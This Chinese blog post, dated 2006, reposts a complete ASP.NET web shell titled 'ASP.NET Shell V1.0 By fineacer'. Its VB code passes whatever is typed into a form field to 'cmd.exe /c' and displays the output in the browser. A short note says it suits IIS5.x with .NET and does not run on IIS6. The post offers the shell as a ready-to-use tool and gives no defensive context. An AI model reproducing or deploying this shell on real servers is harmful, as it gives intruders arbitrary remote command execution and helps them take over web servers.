首页 > 技术文章 > cmd.aspx

cmd.aspx

2006年9月21日 发表评论 1,159 views 阅读评论

信息来源:http://s0n9.blog.sohu.com/

<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="system.IO" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
dim but as string
dim tempfile as string=server.MapPath(".") & "\" & "test.txt"
shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000)
dim myread as new streamreader(tempfile,encoding.default)
but=replace(myread.readtoend,vbcrlf,"<br>")
but=replace(but," "," ")
result.text=but
myread.close
file.exists(tempfile)
file.delete(tempfile)
cmd.text=""
end sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>ASP.NET Shell V1.0 By fineacer</title>
</head>
<body>
<form runat="server">
<asp:TextBox ID="cmd" runat="server" />
<asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" />
<p><asp:Label ID="result" runat="server" /></p>
</form>
</body>
</html>

ASP.NET环境下执行cmd命令的程序,相当于cmd.asp不过这个需要asp.net环境,由于IIS6的机制,本程序不能在IIS6运行,不过可以很好的支持IIS5.x + .net framework.

相关文章

分类: 技术文章 标签: ,
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.